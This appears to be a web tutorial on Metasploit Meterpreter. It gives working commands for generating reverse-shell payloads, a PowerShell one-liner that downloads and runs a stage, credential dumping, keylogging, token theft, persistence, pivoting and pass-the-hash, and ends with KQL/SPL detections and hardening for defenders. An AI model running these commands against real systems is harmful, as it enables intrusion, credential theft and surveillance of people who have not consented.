Metasploit Meterpreter 2026: All Commands, Post-Exploitation & Detection

·

Meterpreter is the payload that turns a single exploited vulnerability into full interactive control of a host. It is Metasploit's in-memory, extensible agent: once it lands it never touches disk, it runs inside a legitimate process, and it exposes a scripting-friendly command shell for file access, credential theft, privilege escalation, pivoting and clean-up. If you have ever watched a red-team demo end with meterpreter >, this is the guide that explains every command behind that prompt.

You will cover how Meterpreter actually works (staged vs stageless, reflective DLL injection, the TLV protocol), stand up a legal lab, and land a session three different ways — through an exploit module, through a standalone msfvenom payload, and through a web-delivery one-liner. Then it is command group by command group: core, filesystem, networking, post-exploitation, token theft, persistence, pivoting and extensions. The final phase flips sides with KQL and SPL that detect Meterpreter in your own telemetry.

Authorization is not optional. Everything below assumes a lab you own or a scoped engagement with written permission. Running Meterpreter against systems you do not control is a crime in most jurisdictions.

◈ Table of Contents

01 How Meterpreter Works 02 Prerequisites & Lab Setup 03 Session 1: Exploit Module 04 Session 2: msfvenom Payloads 05 Session 3: Web Delivery & Handler 06 Core & Session Commands 07 Filesystem & Networking 08 Post-Exploitation & Privesc 09 Persistence & Pivoting 10 Extensions & Automation 11 Detection, Hardening & Troubleshooting 12 Sources & References
🧬

01 — How Meterpreter Works

PAYLOAD CONTEXT

Meterpreter ("Meta-Interpreter") is a payload, not an exploit. The exploit is only the delivery truck; Meterpreter is the cargo that gives you control after the door opens. What makes it different from a plain reverse shell is that it lives entirely in RAM. The first stage is a small reflective DLL loader that pulls the main metsrv DLL over the network and maps it directly into the memory of the exploited process — no file is written to disk, and no new suspicious process is spawned. From there every command runs as an in-memory extension loaded on demand.

Communication between your handler and the implant uses a type-length-value (TLV) protocol, optionally wrapped in TLS. That design is why a defender should care about this "offensive" tool: the encrypted channel, the in-process execution, and the on-the-fly extension loading are exactly the behaviours your EDR and SIEM have to catch. Understand the mechanics and the detections in the final phase write themselves.

ConceptWhat it meansWhy it matters
Staged payloadTiny stager (e.g. windows/x64/meterpreter/reverse_tcp) downloads the full metsrv stage at runtimeSmall initial footprint fits in constrained exploits; the big stage never hits disk
Stageless payloadEntire Meterpreter is self-contained (e.g. windows/x64/meterpreter_reverse_https — note the underscore)More reliable over flaky links; no second connection to intercept
Reflective DLL injectionThe stage maps itself into the host process without using the Windows loader or LoadLibraryNo DLL on disk, no standard load event — the core evasion trick
In-memory executionRuns inside the exploited process (or one you migrate to)Blends with a trusted process; survives only while that process lives
Extensionsstdapi, priv, kiwi, python, powershell loaded on demand over the channelKeeps the base agent small; capabilities arrive just-in-time
Transportsreverse_tcp, reverse_https, bind_tcp, named-pipeHTTPS transport encrypts C2 and survives proxies; TCP is simplest

Meterpreter is not Windows-only. The project ships native implants for Linux and macOS, plus portable payloads in Python, PHP, Java and Android (APK). The command set you learn here is broadly identical across them, because the stdapi extension abstracts the platform. Pick the payload that matches the target; the muscle memory transfers.

🎯

Red Team & OSCP

The de-facto post-exploitation agent for lab exams and engagements — session handling, privesc and pivoting in one interface instead of a dozen scripts.

🧪

Detection Validation

Generate real in-memory C2 traffic in a lab to confirm your EDR flags migration, reflective injection and beaconing before an adversary tests it for you.

🛡️

Purple Teaming

Run a known Meterpreter technique, watch which Sysmon and Defender events fire, and tune analytics against ground truth you control.

📚

Analyst Training

Show SOC staff what post-exploitation looks like on the wire and on the host so they recognise the real thing in an incident.

Meterpreter is heavily signatured. Default payloads are detected by virtually every modern AV and EDR on contact. In a real engagement you will rely on migration, custom handlers and evasion; in this lab guide, disable or exclude the defender on your own target VM so you can focus on the commands, not AV bypass.

📋

02 — Prerequisites & Lab Setup

BEFORE YOU START

Meterpreter is part of the Metasploit Framework, so the only tool you install is Metasploit itself. What you must build before touching a single command is a legal, isolated lab: an attacker box running Metasploit and at least one deliberately vulnerable target on a host-only or internal virtual network with no route to the internet or your production LAN.

RequirementMinimumRecommendedNotes
Attacker OSAny Linux / macOS minKali Linux 2026 recKali ships Metasploit pre-installed and patched
RAM (attacker)4 GB8 GB+PostgreSQL + msfconsole are memory-hungry
Target (Windows)Windows 10 VMAD home lab + Win10/11Metasploitable-3 Windows is purpose-built for practice
Target (Linux)Metasploitable-2Metasploitable-3 LinuxClassic intentionally vulnerable services
NetworkHost-only adapterIsolated internal networkNever expose vulnerable VMs to the internet
RubyBundled with MetasploitBundledYou do not manage Ruby yourself on packaged installs
1
Install Metasploit — Three Paths
Setup

On Kali it is already there. On any other Debian/Ubuntu host use the official nightly installer script. For a disposable, reproducible setup use the maintained Docker image. Pick one.

OPTION A — KALI (PRE-INSTALLED) / OPTION B — NIGHTLY INSTALLER / OPTION C — DOCKER
# A) Kali — confirm it is present and current $ msfconsole --version $ sudo apt update && sudo apt install -y metasploit-framework # B) Debian/Ubuntu — official Rapid7 nightly installer (omnibus) $ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall $ chmod 755 msfinstall && sudo ./msfinstall # C) Docker — pull the maintained image, host networking for handlers $ docker run --rm -it --network host metasploitframework/metasploit-framework ./msfconsole

Only install Metasploit from Kali's repos, the Rapid7 omnibus installer, or the official metasploitframework Docker image. "Metasploit" packages on random mirrors and third-party Docker tags are a classic trojan-delivery vector. Verify the source.

2
Initialise the Database
postgres

Metasploit uses PostgreSQL to store hosts, services, loot and sessions across runs. Initialise it once; it makes workspaces, hosts and creds work inside msfconsole.

$ sudo msfdb init # create and connect the msf database $ msfconsole -q # -q suppresses the banner msf6 > db_status # expect: connected to msf msf6 > workspace -a labwork # isolate this engagement's data
You Are Ready When
  • msfconsole --version prints a 6.x framework version
  • db_status reports "connected to msf"
  • You can reach the target VM: ping / nmap -sn finds it on the host-only net

Create one workspace per target or engagement with workspace -a name. Everything you discover — hosts, open ports, dumped hashes — stays scoped to it, and workspace -d wipes it cleanly at close-out.

Two numbers appear in every payload you will generate, so fix them now. LHOST is your attacker IP (the address on the host-only network — check with ip a), and LPORT is the port your handler listens on for the callback. Get these wrong and the session never comes back; most "it didn't work" problems trace straight back to a bad LHOST.

💥

03 — Session 1: Via an Exploit Module

METHOD 1

The classic path: an exploit module breaks in and automatically delivers a Meterpreter stager. The textbook lab example is ms17_010_eternalblue, which targets the SMBv1 remote code execution flaw CVE-2017-0144 CVSS 8.8 HIGH on an unpatched Windows target. On a patched 2026 host this will fail by design — that is the point; it is a lab artefact, not a live technique.

1
Select the Exploit and Inspect Options
use

Search for the module, select it, and read what it needs. show options lists required settings; info shows targets, references and the CVE it maps to.

msf6 > search eternalblue msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) > show options msf6 exploit(ms17_010_eternalblue) > info # references CVE-2017-0144
2
Set the Payload — Staged vs Stageless
payload

An exploit module has a default payload, but you choose it explicitly. Match the architecture (x64) and transport to the target. HTTPS transport is more reliable through proxies and encrypts the channel.

msf6 exploit(...) > set RHOSTS 10.10.10.20 # the target msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(...) > set LHOST 10.10.10.5 # your attacker IP msf6 exploit(...) > set LPORT 4444 msf6 exploit(...) > show payloads # list compatible payloads

Prefer windows/x64/meterpreter_reverse_https (underscore = stageless) when the link is unreliable or egress is proxied. The whole agent arrives in one connection and rides normal-looking TLS on 443.

3
Run It and Catch the Session
exploit

Fire the exploit. On success the stager connects back, the stage loads in memory, and you drop into the meterpreter > prompt. Run -j to keep the handler as a background job instead of taking the foreground.

msf6 exploit(...) > exploit [*] Started reverse TCP handler on 10.10.10.5:4444 [*] Sending stage (201798 bytes) to 10.10.10.20 [*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.20:49740) meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
A Session Is Live When
  • "Meterpreter session N opened" appears with a source→dest tuple
  • The prompt changes to meterpreter >
  • getuid returns a username from the target
🧨

04 — Session 2: Standalone msfvenom Payloads

METHOD 2

When there is no exploitable service — a phishing simulation, a USB drop test, an authenticated foothold — you generate a standalone payload file with msfvenom and deliver it yourself, then catch it with multi/handler. This is the most common way real operators get their first Meterpreter in 2026.

1
List and Understand Payload Names
--list

Payload names follow OS/ARCH/payload/transport. Browse the Meterpreter options so you pick the exact match for your target platform.

$ msfvenom --list payloads | grep meterpreter $ msfvenom --list formats # exe, elf, apk, raw, psh, war, ... $ msfvenom --list encoders # e.g. x86/shikata_ga_nai
2
Generate Payloads for Each Platform
msfvenom

Same tool, different -p and -f. Windows EXE, Linux ELF, Android APK and a PHP web payload — the four you will reach for most. Always set LHOST/LPORT to your handler.

WINDOWS EXE
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o update.exe
LINUX ELF
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o svc.elf
ANDROID APK
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -o demo.apk
PHP WEB PAYLOAD
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw -o sh.php

These files are live malware on your own terms. Keep them inside the lab, name them so you can clean them up, and never store a payload with a real callback address on a shared or internet-facing box. Delete every generated artefact at engagement close-out.

3
Encoding, Iterations and Bad Characters
-e / -b

Encoding reshapes the bytes (historically for AV, realistically for bad-character constraints in exploit buffers). Strip bytes that break your delivery with -b, and template into a real binary with -x.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \ -e x64/xor_dynamic -i 3 -b '\x00\x0a\x0d' -f exe -o enc.exe $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \ -x /usr/share/windows-binaries/plink.exe -f exe -o plink-bd.exe

Modern EDR is behaviour-based, so classic shikata_ga_nai encoding no longer evades anything on its own — treat -e as a bad-character and compatibility tool, not an AV-bypass button. Real evasion is a separate discipline.

4
Catch It With multi/handler
handler

The handler must use the exact same payload, LHOST and LPORT as the generated file. Start it as a background job before you deliver, and the session lands the moment the payload runs on the target.

msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.10.10.5 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > set ExitOnSession false msf6 exploit(multi/handler) > exploit -j # run as background job

Payload mismatch is the number-one handler failure. If the file is reverse_tcp and the handler is reverse_https, the stage will never negotiate and you will watch a connection open and instantly die. Copy the payload string verbatim.

🌐

05 — Session 3: Web Delivery & Fileless One-Liners

METHOD 3

The web_delivery module hosts the stage on a one-off web server and hands you a single command — PowerShell, Python or PHP — that fetches and runs it in memory. Nothing is written to disk on the target. This is how a command-execution foothold (an RCE, a macro, an authenticated admin console) becomes a full Meterpreter.

1
Start the Web Delivery Server
web_delivery

Choose a target language with set TARGET (2 = PowerShell), set the Meterpreter payload, and run. Metasploit prints the one-liner to paste wherever you have code execution.

msf6 > use exploit/multi/script/web_delivery msf6 exploit(web_delivery) > set TARGET 2 # 2 = PSH (PowerShell) msf6 exploit(web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(web_delivery) > set LHOST 10.10.10.5 msf6 exploit(web_delivery) > set LPORT 8443 msf6 exploit(web_delivery) > run [*] Run the following command on the target machine: powershell.exe -nop -w hidden -c "IEX((new-object net.webclient)...)"
2
Execute on the Target (Lab Simulation)
deliver

In the lab, run the printed one-liner in a PowerShell window on your target VM to simulate the code-execution step. In an engagement it rides whatever foothold you already have — a web shell, a macro, a scheduled task.

# On the TARGET (lab only) — paste the generated one-liner: PS C:\> powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://10.10.10.5:8080/abcd'))" # Back on the handler: [*] Meterpreter session 2 opened (10.10.10.5:8443 -> 10.10.10.20:51002)

Set LPORT to 443 or 8443 and use the reverse_https transport for web delivery. On a monitored network, Meterpreter C2 that looks like ordinary outbound TLS is far less likely to trip a flat "unusual port" rule.

3
Upgrade a Plain Shell to Meterpreter
sessions -u

Already have a dumb command shell from another tool? Promote it to a full Meterpreter session in one command — Metasploit generates and injects the right payload for you.

msf6 > sessions -l # list sessions; note the shell's ID msf6 > sessions -u 3 # upgrade shell session 3 to Meterpreter # or via the post module directly: msf6 > use post/multi/manage/shell_to_meterpreter
⚙️

06 — Core & Session Commands

THE PROMPT

With a session open you are at meterpreter >. Core commands manage the session and the process you live in; help lists every loaded command, grouped by extension. The single most important one is migrate — move out of the fragile exploited process into a stable, trusted one before you do anything else.

1
Orient Yourself on the Host
recon

First four commands on every session: who am I, what box is this, what is my process, and what else is running. This is your situational awareness before you touch anything.

meterpreter > getuid # current user context meterpreter > sysinfo # OS, arch, domain, hostname meterpreter > getpid # PID of our host process meterpreter > ps # full process list with user + arch meterpreter > idletime # how long since user input — is someone at the keyboard?
2
Migrate to a Stable Process
migrate

If the exploited process dies, your session dies with it. Migrate into a long-lived, same-architecture process (e.g. explorer.exe or winlogon.exe). Match the bitness or migration fails.

meterpreter > ps -S explorer.exe # find the target PID meterpreter > migrate 2184 # move into that PID [*] Migrating from 4812 to 2184... [*] Migration completed successfully. meterpreter > migrate -N explorer.exe # migrate by name, not PID

Migration is one of the loudest things Meterpreter does. Injecting a thread into another process (especially a privileged one) is a textbook EDR trigger — Sysmon Event 8, CreateRemoteThread. In a lab you accept the noise; in production it is often the moment you get caught.

3
Juggle Multiple Sessions
sessions

Background the current session to return to msfconsole, list all sessions, re-enter one, or kill the ones you are done with. background is how you keep a session alive while you run another module against the same host.

meterpreter > background # back to msf prompt, session stays live msf6 > sessions -l # list all sessions msf6 > sessions -i 1 # interact with session 1 msf6 > sessions -k 2 # kill session 2 msf6 > sessions -c "getuid" -i 1,3 # run one command across sessions
4
Run Commands & Drop to a Shell
execute / shell

Drop into a native OS shell, or spawn a hidden process directly. execute -H -i runs a program hidden and channels its I/O back to you.

meterpreter > shell # native cmd.exe / /bin/sh channel meterpreter > execute -f cmd.exe -H -i # -H hidden window, -i interact meterpreter > getenv USERNAME COMPUTERNAME # read env vars meterpreter > help # every command, grouped by extension

Inside a native shell on Windows, run chcp 65001 first to switch the code page to UTF-8. It stops garbled output when you read files or command results with non-ASCII characters.

CommandGroupWhat it does
backgroundcoreReturn to msfconsole, keep the session alive
migratecoreMove the implant into another process
getpid / getuidstdapiCurrent process ID / user context
sysinfostdapiOS, architecture, domain, hostname
ps / pgrepstdapiList / filter running processes
shellstdapiOpen a native system command shell
executestdapiLaunch a program (optionally hidden)
channelcoreManage active I/O channels
exit / quitcoreTerminate the Meterpreter session
📁

07 — Filesystem & Networking Commands

DATA & LINKS
1
Navigate and Move Files
files

Meterpreter gives you Unix-style filesystem verbs on any OS. Note the l-prefixed commands (lpwd, lcd) act on your local attacker box — handy when staging uploads and downloads.

meterpreter > pwd # remote working dir meterpreter > ls / cd C:\\Users / cat flag.txt meterpreter > download C:\\Users\\admin\\Desktop\\report.xlsx meterpreter > upload /tmp/winpeas.exe C:\\Windows\\Temp\\ meterpreter > lpwd / lcd /home/kali/loot # local (attacker) dir
2
Hunt for Interesting Files
search

Recursively find files by pattern across the disk — password vaults, config files, SSH keys, spreadsheets. This is often where the real loot is.

meterpreter > search -f *.kdbx # KeePass databases meterpreter > search -d C:\\Users -f *.config meterpreter > search -f id_rsa # SSH private keys meterpreter > search -f unattend.xml # deployment creds

Scope your searches with -d to a directory. A bare search -f *.docx across C:\ can take many minutes and generates a lot of file-read telemetry; targeted hunts are faster and quieter.

3
Map the Network From Inside
network

The compromised host is your window into the internal network. Read its interfaces, routing table, ARP cache and active connections — this is the reconnaissance that feeds pivoting in Phase 09.

meterpreter > ipconfig # interfaces + IPs (ifconfig on *nix) meterpreter > route # the host's routing table meterpreter > arp # ARP cache — neighbours on the LAN meterpreter > netstat -ano # active connections + owning PIDs meterpreter > resolve dc01.corp.local # resolve a name via the target
4
Capture Screens, Keys and Devices
spy

The stdapi extension exposes surveillance primitives. In an authorised test these demonstrate real impact; document scope carefully, because capturing a live user's screen or keystrokes is intrusive.

meterpreter > screenshot # grab the desktop to a PNG meterpreter > keyscan_start / keyscan_dump / keyscan_stop meterpreter > webcam_list / webcam_snap meterpreter > record_mic -d 10 # 10s of microphone audio

Keylogging, screen capture, webcam and microphone access almost always exceed the scope of a standard test. Get explicit, written sign-off for surveillance actions and keep any captured data under the same handling rules as the client's most sensitive assets.

🔓

08 — Post-Exploitation & Privilege Escalation

GO DEEPER

A user-level session is a foothold; SYSTEM or domain admin is the objective. Meterpreter bundles privilege-escalation helpers, credential theft via the kiwi (Mimikatz) extension, token impersonation, and a library of post modules that automate the tedious enumeration.

1
Attempt Automatic Privilege Escalation
getsystem

Load the priv extension and try the built-in SYSTEM escalations (named-pipe impersonation and token duplication). Check your privileges first — if you already hold SeImpersonatePrivilege, dedicated potato-style modules are more reliable.

meterpreter > getprivs # which privileges do we hold? meterpreter > getsystem # try built-in SYSTEM techniques ...got system via technique 1 (Named Pipe Impersonation). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
2
Suggest Local Exploits
suggester

When getsystem fails, let Metasploit profile the host and list kernel/service exploits that match its patch level. Background the session first, then point the post module at it.

meterpreter > background msf6 > use post/multi/recon/local_exploit_suggester msf6 post(...) > set SESSION 1 msf6 post(...) > run [+] 10.10.10.20 - exploit/windows/local/... : The target appears to be vulnerable.

Cross-check the suggester's hits against a manual enumeration (WinPEAS / PowerUp). The suggester only knows about Metasploit modules; the real privesc path is often a misconfiguration no module covers — an unquoted service path, a writable service binary, a cached credential.

3
Dump Credentials With Kiwi (Mimikatz)
kiwi

With SYSTEM you can load kiwi — the in-memory Mimikatz extension — and pull hashes, cleartext secrets and Kerberos tickets straight from LSASS memory. These feed pass-the-hash and Kerberos attacks on the rest of the domain.

meterpreter > load kiwi meterpreter > creds_all # all creds kiwi can recover meterpreter > lsa_dump_sam # local SAM hashes meterpreter > lsa_dump_secrets # LSA secrets (service account creds) meterpreter > kerberos_ticket_list meterpreter > hashdump # classic SAM dump (priv ext)

Reading LSASS is a high-fidelity detection. Defender for Endpoint and most EDRs alert specifically on LSASS memory access, and Sysmon Event 10 with a target of lsass.exe is a near-perfect signature. Expect load kiwi to be caught on a monitored host.

4
Steal and Impersonate Tokens
incognito

On a box where a privileged user is logged in, you can impersonate their access token without ever cracking a password. Load incognito, list available tokens, and assume one.

meterpreter > load incognito meterpreter > list_tokens -u # delegation + impersonation tokens by user meterpreter > impersonate_token "CORP\\Administrator" meterpreter > steal_token 3344 # grab token from a specific PID meterpreter > rev2self # drop back to our original token
5
Automate With Post Modules
post/

Hundreds of post modules automate gather and manage tasks. Run them from the Meterpreter prompt with run post/... or background and use them for more options.

meterpreter > run post/windows/gather/enum_logged_on_users meterpreter > run post/windows/gather/checkvm # are we in a VM/sandbox? meterpreter > run post/windows/gather/credentials/credential_collector meterpreter > run post/windows/manage/killav # lab only
🔗

09 — Persistence & Pivoting

GO WIDER

One host is rarely the objective. Persistence keeps your foothold across reboots; pivoting uses the compromised host as a router into network segments you cannot reach directly. Both are where a single exploit becomes a full network compromise.

1
Establish Persistence
persistence

Use a post module to install a callback that survives reboot — a service, a scheduled task, or a registry Run key. Always record exactly what you create so you can remove it cleanly.

msf6 > use exploit/windows/local/persistence_service msf6 exploit(...) > set SESSION 1 msf6 exploit(...) > set LHOST 10.10.10.5 msf6 exploit(...) > run # alternative: scheduled-task persistence meterpreter > run post/windows/manage/persistence_exe

Persistence writes to disk and registers an autostart — the opposite of Meterpreter's in-memory stealth, and one of the noisiest things you can do. New services (Event ID 7045) and Run-key edits are standard SIEM alerts. In a report, document every persistence mechanism you plant and confirm its removal at close-out.

2
Add a Route Through the Host
autoroute

Teach Metasploit to route traffic for a new subnet through your session. After this, other Metasploit modules can reach hosts on 10.10.20.0/24 that are only visible from the compromised machine.

meterpreter > run autoroute -s 10.10.20.0/24 meterpreter > background msf6 > use post/multi/manage/autoroute # richer control msf6 > route print # list msf's internal routes
3
Port Forwarding and SOCKS Proxy
portfwd / socks

Forward a single remote port to your localhost, or stand up a SOCKS proxy so external tools (nmap, a browser, Impacket) can reach the internal network through the pivot via proxychains.

# single-port forward: internal RDP to our localhost:3389 meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.20.15 # full SOCKS proxy for any external tool msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(socks_proxy) > set SRVPORT 1080 msf6 auxiliary(socks_proxy) > run -j # then, in another terminal (proxychains.conf -> socks5 127.0.0.1 1080): $ proxychains nmap -sT -Pn 10.10.20.15

Proxychains over a Meterpreter SOCKS pivot only works with full TCP connect scans (nmap -sT -Pn). SYN scans and ICMP host discovery do not traverse the proxy — turn them off or your pivot scan returns nothing.

4
Move Laterally With Stolen Hashes
psexec / pth

The NT hash you dumped with kiwi is a credential in its own right. Feed it to the psexec module to authenticate to another host over SMB and pop a fresh Meterpreter — no password cracking required.

msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > set RHOSTS 10.10.20.15 msf6 exploit(psexec) > set SMBUser Administrator msf6 exploit(psexec) > set SMBPass aad3b4...:31d6cfe0d16ae931b73c59d7e0c089c0 msf6 exploit(psexec) > set PAYLOAD windows/x64/meterpreter/bind_tcp msf6 exploit(psexec) > run

Through a pivot, a bind_tcp payload is often more reliable than reverse_tcp: the new host may not be able to route back to your attacker IP, but your session can reach into it over the route you already added. Let the direction of the network decide the transport.

🧩

10 — Extensions & Automation

SCALE UP
1
Load Extensions on Demand
load

Beyond the auto-loaded stdapi and priv, you pull in capability as needed. python and powershell let you run full scripts in-memory without dropping files.

meterpreter > load -l # list loadable extensions meterpreter > load python meterpreter > python_execute "import os; print(os.getcwd())" meterpreter > load powershell meterpreter > powershell_execute "Get-LocalUser | Select Name"
ExtensionLoaded byWhat it adds
stdapiautoFilesystem, process, network, UI commands — the core
privauto / loadgetsystem, hashdump, timestomp
kiwiload kiwiIn-memory Mimikatz — credential & ticket theft
incognitoload incognitoWindows token enumeration and impersonation
pythonload pythonRun Python in-memory on the target
powershellload powershellRun PowerShell without spawning powershell.exe
espiaload espiaScreen grab and extra surveillance helpers
2
Resource Scripts & AutoRunScript
.rc

Automate repetitive setup with a resource script, or run actions automatically the instant a session opens. Great for consistent handlers and for immediately migrating out of a fragile process.

handler.rc — AUTO-START A HANDLER
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 10.10.10.5 set LPORT 8443 set AutoRunScript post/windows/manage/migrate set ExitOnSession false exploit -j -z
$ msfconsole -q -r handler.rc # load the script at startup msf6 > resource handler.rc # or load it mid-session

Set AutoRunScript to post/windows/manage/migrate on your handler. Every new session immediately migrates out of the exploited process into a stable one, so a crashing service or a closed document never costs you the session.

3
Script Metasploit Over RPC
msfrpcd

For full programmatic control — orchestration, custom tooling, CI-driven detection tests — run the RPC daemon and drive Metasploit from Python with the pymetasploit3 library.

$ msfrpcd -P yourStrongPass -S -a 127.0.0.1 -p 55553 $ msfconsole -q -x "load msgrpc Pass=yourStrongPass" # from Python: pip install pymetasploit3 >>> from pymetasploit3.msfrpc import MsfRpcClient >>> client = MsfRpcClient('yourStrongPass', port=55553) >>> client.sessions.list
🛰️

11 — Detection, Hardening & Troubleshooting

BLUE TEAM

A CyberHawk tutorial does not stop at the attack. Meterpreter is in-memory and encrypted, but it is not invisible: migration injects remote threads, LSASS access for kiwi is high-fidelity, and C2 beacons have a timing shape. Below are three detection pairs — each with a Microsoft Sentinel / Defender KQL query and its Splunk SPL equivalent — plus a MITRE mapping and the fixes for the errors that trip people up most. These assume Sysmon (or Defender for Endpoint) on your Windows telemetry.

Figure — the four telemetry chokepoints for Meterpreter activity
1
Detect Process Injection / Migration
Hunt

Migration creates a remote thread in another process. Hunt for cross-process thread injection, especially where the target is a sensitive process like lsass.exe or a browser.

DETECTS: cross-process remote-thread creation (migrate / reflective injection) in Defender telemetry
DeviceEvents | where ActionType == "CreateRemoteThreadApiCall" | where InitiatingProcessFileName !in~ ("MsMpEng.exe","svchost.exe") | where FileName in~ ("explorer.exe","lsass.exe","winlogon.exe","spoolsv.exe") | project Timestamp, DeviceName, InitiatingProcessFileName, FileName, InitiatingProcessCommandLine | order by Timestamp desc
DETECTS: Sysmon Event 8 (CreateRemoteThread) into a process the source has no business injecting into
index=win sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=8 | stats count by SourceImage, TargetImage, StartFunction, host | where NOT like(SourceImage,"%MsMpEng.exe") | sort - count
2
Detect LSASS Credential Access (kiwi)
Hunt

The load kiwi / creds_all workflow reads LSASS memory. Alert on any process opening lsass.exe with high-access rights that is not a known defender or backup agent.

DETECTS: suspicious process access to LSASS memory — classic credential dumping
DeviceEvents | where ActionType == "ProcessAccessLsass" or (ActionType == "OpenProcessApiCall" and FileName =~ "lsass.exe") | where InitiatingProcessFileName !in~ ("MsMpEng.exe","wininit.exe","csrss.exe") | summarize hits=count() by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine | order by hits desc
DETECTS: Sysmon Event 10 process access to lsass.exe with memory-read access masks (0x1010 / 0x1410)
index=win sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=10 TargetImage="*lsass.exe" (GrantedAccess="0x1010" OR GrantedAccess="0x1410" OR GrantedAccess="0x1438") | stats count by SourceImage, GrantedAccess, host | sort - count

Access masks 0x1010 and 0x1410 are the tell-tale combination for reading LSASS memory. Baseline the legitimate processes that touch lsass in your environment first, then alert on everything else — that allowlist is what keeps this rule quiet.

3
Detect reverse_https Beaconing
Hunt

Meterpreter C2 beacons at a regular interval. Hunt for a single process making many near-identical outbound connections to one destination with low-variance timing — the shape of a beacon, regardless of port.

DETECTS: repetitive outbound connections (beacon cadence) from one process to one remote endpoint
DeviceNetworkEvents | where RemoteIPType == "Public" | summarize conns=count(), span=max(Timestamp)-min(Timestamp) by DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, bin(Timestamp, 1h) | where conns > 30 and span > 20m | order by conns desc
DETECTS: Sysmon Event 3 outbound beacon — high connection count from one image to one destination
index=win sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 Initiated=true | stats count AS conns, dc(DestinationPort) AS ports BY Image, DestinationIp, host | where conns > 30 AND ports < 3 | sort - conns

Do not rely on port alone. Meterpreter's reverse_https rides 443 and looks like normal TLS; a rule that only flags "connections to port 4444" misses every operator who changed the default. Detect on beacon behaviour — count, cadence and destination cardinality — not the port number.

4
MITRE ATT&CK Mapping
ATT&CK

Mapping the techniques above to ATT&CK gives your detections coverage language and tells you which gaps remain.

TechniqueIDMeterpreter action
Process InjectionT1055migrate, reflective DLL injection
Access Token ManipulationT1134incognito, steal_token, getsystem
OS Credential Dumping: LSASST1003.001load kiwi, creds_all, hashdump
Application Layer Protocol: WebT1071.001reverse_https C2 transport
Ingress Tool TransferT1105upload, web_delivery stager
Create or Modify System ProcessT1543.003persistence_service (new Windows service)
Protocol TunnelingT1572autoroute, portfwd, socks_proxy
Use Alternate Auth Material: PtHT1550.002psexec with NT hash
5
Hardening the Target Side
Defend

The same configuration work that stops Meterpreter stops most commodity post-exploitation. Prioritise the controls that break its core techniques rather than chasing payload signatures.

Controls That Break Meterpreter
  • Enable LSA Protection (RunAsPPL) + Credential Guard to defeat kiwi/LSASS reads
  • Deploy an EDR that flags remote-thread injection (T1055), not just files on disk
  • Patch and disable SMBv1 — kills the EternalBlue-class delivery path entirely
  • Egress-filter outbound traffic; force it through an inspecting proxy to expose C2
  • Alert on new services (7045) and run-key changes to catch persistence
  • Apply least privilege so a user foothold cannot reach SeImpersonate / SYSTEM

Run this whole tutorial in your lab as a purple-team exercise: execute each technique, confirm the matching detection fires, and only then call the control effective. A rule you have never seen trigger against real Meterpreter traffic is a hypothesis, not a detection.

6
Common Errors & Fixes
Troubleshoot

Nearly every "Meterpreter won't work" problem is a handler, network or architecture mismatch — not a bug. This table covers the failures that account for most lost sessions.

SymptomLikely causeFix
Session opens then dies instantlyPayload / handler mismatchMake handler PAYLOAD, LHOST, LPORT identical to the generated file
No callback at allWrong LHOST or blocked egressSet LHOST to the host-only IP (ip a); check firewall/route to attacker
"migrate failed" / access deniedArch mismatch or low privilegeMatch x86↔x64; migrate to a process you own, or getsystem first
"[-] core_loadlib: Operation failed"Extension/arch mismatchUse an x64 payload on an x64 host; re-exploit with the right arch
Payload killed by AV on targetDefault payload is signaturedLab: exclude the folder / disable AV on your own VM
db_status "no database"msfdb not initialisedRun sudo msfdb init, then restart msfconsole
Pivot nmap returns nothingSYN scan over SOCKSUse proxychains nmap -sT -Pn (TCP connect only)
Stale session after rebootNo persistenceInstall persistence, or re-exploit; in-memory sessions die on reboot

When a session feels unstable, migrate immediately and switch to a stageless reverse_https payload. Most mid-session drops come from the exploited process closing or a flaky staged connection — both of which migration plus a self-contained HTTPS transport solve.

📚

12 — Sources & References

DOCUMENTATION

Primary documentation and reference material used in this guide. Rapid7's docs and the Metasploit Unleashed course are the authoritative references for every command and flag; the ATT&CK and NVD links back the detection and CVE claims.

Rapid7 — Metasploit Meterpreter Documentation Metasploit Unleashed — Meterpreter Basics (OffSec) Metasploit Docs — How Payloads Work (Staged vs Stageless) Metasploit Framework — Official Source Repository Kali Linux Tools — metasploit-framework Package Page NVD — CVE-2017-0144 (EternalBlue / SMBv1 RCE) MITRE ATT&CK — T1055 Process Injection MITRE ATT&CK — T1003.001 LSASS Memory Credential Dumping Metasploit Omnibus — Official Nightly Installer

Run the payload, then catch it.

